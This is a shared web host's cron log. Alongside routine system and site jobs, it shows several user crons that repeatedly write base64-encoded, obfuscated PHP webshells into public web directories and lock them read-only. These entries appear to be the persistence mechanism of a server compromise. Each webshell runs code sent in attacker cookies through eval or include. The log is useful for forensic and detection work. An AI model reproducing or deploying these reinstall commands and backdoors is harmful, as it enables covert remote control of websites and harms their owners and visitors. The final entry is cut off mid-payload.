Mar  1 11:28:01 medusa CROND[31731]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:28:01 medusa CROND[31733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:28:01 medusa CROND[31735]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:28:01 medusa CROND[31742]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:28:01 medusa CROND[31743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:28:01 medusa CROND[31745]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:28:01 medusa CROND[31746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:28:01 medusa CROND[31747]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:28:01 medusa CROND[31750]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:28:01 medusa CROND[31752]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:28:01 medusa CROND[31753]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:28:01 medusa CROND[31757]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:28:01 medusa CROND[31758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:29:01 medusa CROND[21630]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 11:29:01 medusa CROND[21632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:29:01 medusa CROND[21631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:29:01 medusa CROND[21633]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:29:01 medusa CROND[21634]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:29:01 medusa CROND[21636]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:29:01 medusa CROND[21637]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:29:01 medusa CROND[21639]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:29:01 medusa CROND[21635]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:29:01 medusa CROND[21642]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:29:01 medusa CROND[21641]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:29:01 medusa CROND[21644]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:29:01 medusa CROND[21646]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:30:01 medusa CROND[11266]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 11:30:01 medusa CROND[11279]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:30:01 medusa CROND[11290]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:30:01 medusa CROND[11362]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:30:01 medusa CROND[11500]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:30:01 medusa CROND[11501]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:30:01 medusa CROND[11504]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:30:01 medusa CROND[11505]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:30:01 medusa CROND[11506]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11507]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0g